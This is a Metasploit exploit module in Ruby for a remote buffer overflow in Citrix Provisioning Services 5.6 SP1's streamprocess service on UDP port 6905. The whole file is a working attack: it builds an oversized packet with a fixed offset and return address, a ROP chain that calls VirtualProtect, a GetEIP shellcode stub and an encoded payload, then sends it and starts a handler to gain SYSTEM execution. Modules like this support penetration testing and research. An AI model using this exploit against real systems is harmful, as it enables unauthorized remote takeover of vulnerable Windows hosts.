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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
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        'Description' => %q{
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          This module exploits a remote buffer overflow in the Citrix Provisioning Services
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          5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
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          0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution
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          under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
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          and Windows XP SP3.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
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          'juan vazquez' # Metasploit module
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        ],
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        'References' => [
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          ['OSVDB', '75780'],
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          ['BID', '49803'],
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          ['URL', 'http://support.citrix.com/article/CTX130846']
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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        'Payload' => {
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          'BadChars' => "\x00",
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          'EncoderOptions' => { 'BufferRegister' => 'ECX' },
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        },
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        'Platform' => ['win'],
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        'Targets' => [
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          [
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            'Citrix Provisioning Services 5.6 SP1',
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            {
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              'Offset' => 5596,
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              'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
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            }
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          ]
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2011-11-04', # CTX130846 creation date
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(6905)])
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  end
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  def exploit
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    packet = "\x02\x00\x02\x40" # DATA MSG
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    packet << rand_text_alpha_upper(18)
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    packet << "\x00\x00\x00\x00" # Length
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    packet << rand_text_alpha_upper(target['Offset'])
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    packet << [target.ret].pack('V')
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    rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
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    rop_gadgets =
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      [
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        0x0045b141, # POP EAX; RETN streamprocess.exe
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        0x1009a1bc, # VirtualProtect()
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        0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
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        0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
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        0x004ad0cf, # POP EBP; RETN streamprocess.exe
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        0x00455d9d, # PUSH ESP; RETN streamprocess.exe
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        0x00497f5a, # POP EAX; RETN streamprocess.exe
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        0xfffff9d0, # dwSize
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        0x00447669, # NEG EAX; RETN streamprocess.exe
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        0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
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        0x00426305, # POP ECX; RETN streamprocess.exe
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        0x00671fb9, # lpflOldProtect
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        0x004e41e6, # POP EDI; RETN streamprocess.exe
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        0x0040f004, # RETN streamprocess.exe
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        0x00495c05, # POP EAX; RETN streamprocess.exe
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        0xffffffc0, # flNewProtect
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        0x0042c79a, # NEG EAX; RETN streamprocess.exe
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        0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
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        0x0045c1fa, # POP EAX; RETN streamprocess.exe
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        0x90909090, # NOP
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        0x00435bbe, # PUSHAD; RETN streamprocess.exe
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      ].pack("V*")
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    packet[398, rop_nop.length] = rop_nop
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    packet[550, rop_gadgets.length] = rop_gadgets
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    # Put payload address in ecx
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    geteip = "\xeb\x03" # jmp short 0x5
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    geteip << "\x59" # pop ecx
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    geteip << "\xff\xd1" # call ecx
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    geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
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    packet[634, 10] = geteip
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    packet[644, payload.encoded.length] = payload.encoded
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    print_status("Trying target #{target.name}...")
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    connect_udp
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    udp_sock.put(packet)
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    handler
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    disconnect_udp
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  end
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end
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